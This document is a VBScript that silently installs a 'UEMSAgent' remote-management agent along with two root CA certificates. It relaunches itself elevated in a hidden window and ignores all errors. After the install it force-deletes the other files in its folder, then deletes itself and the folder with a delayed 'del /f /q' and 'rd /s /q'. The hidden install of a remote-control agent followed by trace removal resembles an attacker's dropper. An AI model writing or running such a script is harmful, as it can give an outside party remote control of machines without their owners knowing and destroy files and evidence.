Option Explicit
On Error Resume Next

Dim objShell, fs, sh
Set objShell = CreateObject("Shell.Application")
Set fs = CreateObject("Scripting.FileSystemObject")
Set sh = CreateObject("WScript.Shell")

Dim strPath
strPath = fs.GetParentFolderName(WScript.ScriptFullName)

Dim strMSI, strMST, strCRT1, strCRT2
strMSI  = strPath & "\UEMSAgent.msi"
strMST  = strPath & "\UEMSAgent.mst"
strCRT1 = strPath & "\DMRootCA-Server.crt"
strCRT2 = strPath & "\DMRootCA.crt"

If Not fs.FileExists(strMSI) Then WScript.Quit 1

Dim isAdmin : isAdmin = False
On Error Resume Next
sh.RegWrite "HKLM\SOFTWARE\_chk_adm", "", "REG_SZ"
If Err.Number = 0 Then
    isAdmin = True
    sh.RegDelete "HKLM\SOFTWARE\_chk_adm"
End If
Err.Clear

If Not isAdmin Then
    If Not WScript.Arguments.Named.Exists("elevated") Then
        objShell.ShellExecute "wscript.exe", """" & WScript.ScriptFullName & """ /elevated", "", "runas", 0
        WScript.Quit 0
    End If
End If

Dim strCommand, intReturn
strCommand = "msiexec.exe /i """ & strMSI & """ " & _
             "TRANSFORMS=""" & strMST & """ " & _
             "ENABLESILENT=yes REBOOT=ReallySuppress INSTALLSOURCE=Manual " & _
             "SERVER_ROOT_CRT=""" & strCRT1 & """ " & _
             "DS_ROOT_CRT=""" & strCRT2 & """ /qn"

intReturn = sh.Run(strCommand, 0, True)

WScript.Sleep 5000

Dim fld, f
Set fld = fs.GetFolder(strPath)
For Each f In fld.Files
    If LCase(f.Name) <> LCase(fs.GetFileName(WScript.ScriptFullName)) Then
        On Error Resume Next
        f.Attributes = 0
        f.Delete True
        Err.Clear
    End If
Next

Dim self : self = WScript.ScriptFullName
Dim parentDir : parentDir = strPath
sh.Run "cmd /c ping 127.0.0.1 -n 4 >nul & del /f /q """ & self & """ & rd /s /q """ & parentDir & """", 0, False

Set objShell = Nothing : Set fs = Nothing : Set sh = Nothing
WScript.Quit 0
